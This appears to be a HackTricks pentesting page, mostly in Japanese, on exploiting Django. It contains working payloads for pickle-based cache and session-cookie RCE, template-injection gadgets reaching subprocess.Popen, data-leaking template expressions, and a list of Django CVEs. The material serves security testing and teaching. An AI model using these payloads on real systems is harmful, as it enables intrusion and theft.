Django

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cache Manipulation to RCE

Djangoのデフォルトのキャッシュ格納方法は Python pickles で、untrusted input is unpickled とRCEにつながる可能性があります。攻撃者がキャッシュへの書き込み権を得られると、この脆弱性を基盤サーバでのRCEにエスカレートできます

Djangoのキャッシュは以下のいずれかに保存されます: Redismemoryfiles、またはdatabase。Redisサーバやdatabaseに保存されたキャッシュは最も現実的な攻撃ベクタ(Redis injectionやSQL injection)ですが、file-based cacheを利用して任意書き込みをRCEに変えることも可能です。メンテナはこれを問題外としてマークしています。キャッシュファイルのフォルダ、SQLテーブル名、Redisサーバの詳細は実装により異なる点に注意してください。

On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

この HackerOne レポートは、SQLite データベースに保存された Django cache を悪用する再現可能な優れた例を示しています: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

Django Template Language (DTL) は Turing-complete です。ユーザー供給のデータが template string としてレンダリングされる(例えば Template(user_input).render() を呼び出す場合や、|safe/format_html() によって自動エスケープが除去される場合)と、攻撃者は完全な SSTI → RCE を達成する可能性があります。

検出

  1. Template() / Engine.from_string() / render_to_string() への、任意の 未サニタイズなリクエストデータを含む動的な呼び出しを探します。
  2. 時間ベースまたは算術のペイロードを送信します:
{{7*7}}

レンダリング結果に 49 が含まれていれば、入力はテンプレートエンジンによってコンパイルされています。 3. DTL は Jinja2 ではありません:算術/ループのペイロードは、評価を証明しつつもしばしば TemplateSyntaxError/500 を引き起こします。${{<%[%'"}}% のようなポリグロットはクラッシュまたはレンダーの検査に有効です。

RCE がブロックされている場合のコンテキスト抽出

たとえ subprocess.Popen へのオブジェクトウォーキングが失敗しても、DTL はスコープ内のオブジェクトを公開します:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() は行を辞書に強制変換し、__str__ をバイパスして、queryset が返すすべてのフィールドを露出させます。これは、直接の Python 実行がフィルタリングされている場合でも機能します。

Automation pattern: 認証し、CSRF トークンを取得し、マーカー接頭辞付きのペイロードを任意の永続フィールド(例: ユーザー名/プロフィールの自己紹介)に保存してから、それをレンダリングするビューをリクエストします(/likes/<id> のような AJAX エンドポイントが一般的です)。安定した属性(例: title="...")を解析してレンダリング結果を回収し、ペイロードを反復します。

RCE へのプリミティブ

Django は __import__ への直接アクセスをブロックしますが、Python のオブジェクトグラフには到達可能です:

{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popen のインデックスを見つけ(≈400–500、Python のビルドに依存)して任意のコマンドを実行する:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

A safer universal gadget is to iterate until cls.__name__ == 'Popen'.

The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.


参照: ReportLab/xhtml2pdf PDF export RCE

DjangoベースのアプリケーションはビューをPDFとしてエクスポートするために xhtml2pdf/ReportLab を統合していることが多いです。ユーザー制御のHTMLがPDF生成に流入すると、rl_safe_eval が三重括弧 [[[ ... ]]] 内の式を評価してコード実行を可能にする場合があります (CVE-2023-33733)。詳細、ペイロード、および緩和策:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


If the setting SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' is enabled (or a custom serializer that deserialises pickle), Django decrypts and unpickles the session cookie before calling any view code. Therefore, possessing a valid signing key (the project SECRET_KEY by default) is enough for immediate remote code execution.

Exploit Requirements

  • サーバが PickleSerializer を使用していること。
  • 攻撃者が settings.SECRET_KEY を知っているか推測できること(leaks via GitHub, .env, error pages, etc.)。

概念実証

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

生成された cookie を送信すると、ペイロードは WSGI ワーカーの権限で実行されます。

Mitigations: デフォルトの JSONSerializer を維持し、SECRET_KEY をローテーションし、SESSION_COOKIE_HTTPONLY を設定してください。


最近(2023–2025)の影響度の高い Django CVE — Pentesters が確認すべきもの

  • CVE-2025-48432Log Injection via unescaped request.path (fixed June 4 2025). 攻撃者は改行や ANSI コードをログファイルに混入させ、下流のログ解析を汚染できます。パッチレベル: ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). JSON キーを巧妙に作成してクォートを破り、任意の SQL を実行できます。修正済み: 4.2.15 / 5.0.8.

常に X-Frame-Options のエラーページや /static/admin/css/base.css のハッシュでフレームワークの正確なバージョンをフィンガープリントし、該当する場合は上記をテストしてください。


参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする